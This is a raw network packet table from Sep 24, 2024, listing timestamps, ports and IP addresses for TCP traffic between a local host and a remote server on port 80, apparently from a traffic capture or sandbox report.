Sep 24, 2024 21:30:11.388679981 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.388712883 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.388756037 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.388767958 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.388767958 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.388797998 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.388829947 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.388849020 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.388849020 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.388863087 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.388912916 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.388912916 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.389496088 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.389549971 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.389584064 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.389595985 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.389595985 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.389657021 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.389697075 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.389729023 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.389756918 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.389761925 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.389796019 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.389806986 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.389806986 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.389832020 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.389875889 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.389875889 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.389980078 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.390012980 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.390044928 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.390064001 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.390064001 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.390078068 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.390111923 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.390124083 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.390124083 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.390145063 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.390182018 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.390189886 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.390189886 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.390239000 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.390249014 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.390301943 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.390336990 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.390347004 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.390347004 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.390409946 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.390456915 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.390489101 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.390522003 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.390532970 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.390532970 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.390556097 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.390599966 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.390599966 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.390608072 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.390639067 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.390678883 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.390678883 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.390688896 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.390722990 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.390754938 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.390770912 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.390770912 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.390790939 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.390825987 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.390830994 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.390830994 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.390858889 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.390866041 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.390892029 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.390921116 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.390966892 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.391513109 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.391566038 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.391583920 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.391608953 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.391608953 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.391658068 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.391709089 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.391724110 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.391740084 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.391756058 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.391768932 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.391768932 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.391772985 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.391808987 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.391808987 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.391999006 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.392015934 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.392030001 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.392045975 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.392054081 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.392061949 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.392076969 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.392081976 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.392095089 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.392107964 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.392110109 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.392160892 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.392160892 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.392297983 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.392354012 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.392426014 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.392452955 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.392469883 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.392471075 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.392508984 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.392508984 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.392601013 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.392617941 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.392633915 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.392652035 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.392663956 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.392663956 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.392702103 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.392702103 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.392745018 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.392762899 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.392807961 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.392807961 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.392847061 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.392863035 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.392906904 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.392906904 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.472433090 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.472474098 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.472511053 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.472563028 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.472563028 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.472565889 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.472599983 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.472632885 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.472649097 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.472649097 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.472668886 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.472702980 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.472716093 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.472716093 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.472918987 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.473582029 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.473638058 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.473670959 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.473689079 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.473689079 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.473751068 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.473784924 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.473798037 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.473798037 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.473818064 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.473851919 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.473861933 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.473861933 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.473949909 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.473995924 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.473995924 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.474134922 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.474189043 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.474219084 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.474244118 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.474244118 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.474307060 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.474339962 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.474354029 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.474354982 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.474374056 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.474407911 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.474422932 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.474422932 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.474473953 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.474519968 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.474519968 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.475316048 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.475373030 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.475404024 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.475440979 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.475444078 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.475497961 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.475533009 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.475550890 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.475550890 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.475600958 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.475635052 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.475649118 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.475649118 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.475667953 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.475713968 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.475713968 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.475750923 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.475784063 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.475820065 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.475826979 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.475826979 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.475934982 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.475969076 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.475980997 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.475980997 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.476001024 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.476037979 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.476048946 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.476048946 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.476316929 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.476363897 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.476363897 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.476401091 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.476433992 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.476480961 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.476480961 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.476499081 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.476531982 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.476566076 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.476579905 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.476579905 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.476655960 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.476656914 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.476691008 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.476735115 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.476735115 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.477371931 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.477406025 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.477438927 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.477452993 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.477452993 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.477472067 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.477516890 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.477516890 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.477555990 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.477587938 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.477622032 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.477632046 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.477632046 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.477674007 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.477709055 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.477719069 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.477719069 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.477742910 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.477777004 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.477797031 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.477797031 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.477868080 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.477914095 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.477914095 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.477921963 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.477958918 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.477993011 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.478003979 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.478003979 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.478370905 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.478672981 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.478703022 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.478718996 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.478740931 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.478786945 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.478786945 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.478791952 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.478827000 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.478873014 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.478873014 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.478879929 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.478914022 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.478925943 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.478950024 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.479007006 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.479007006 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.479197979 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.479244947 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.479263067 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.479296923 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.479337931 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.479356050 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.479356050 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.479372025 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.479418039 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.479418039 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.479451895 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.479485989 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.479521036 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.479532003 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.479532003 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.479604959 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.479636908 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.479651928 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.479651928 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.479671955 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.479718924 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.479718924 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.479753017 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.479785919 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.479819059 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.479830980 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.479830980 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.480029106 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.480597973 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.480627060 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.480660915 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.480688095 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.480688095 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.480714083 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.480746984 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.480760098 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.480760098 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.480781078 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.480815887 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.480832100 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.480832100 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.480860949 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.480910063 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.480910063 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.481138945 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.481192112 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.481225014 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.481240034 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.481240034 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.481260061 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.481293917 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.481302977 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.481302977 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.481328964 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.481379986 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.481379986 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.481415987 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.481445074 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.481492996 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.481492996 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.481503010 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.481527090 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.481544018 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.481592894 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.481592894 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.481592894 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.481609106 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.481625080 CEST	80	49730	193.233.113.184	192.168.2.4
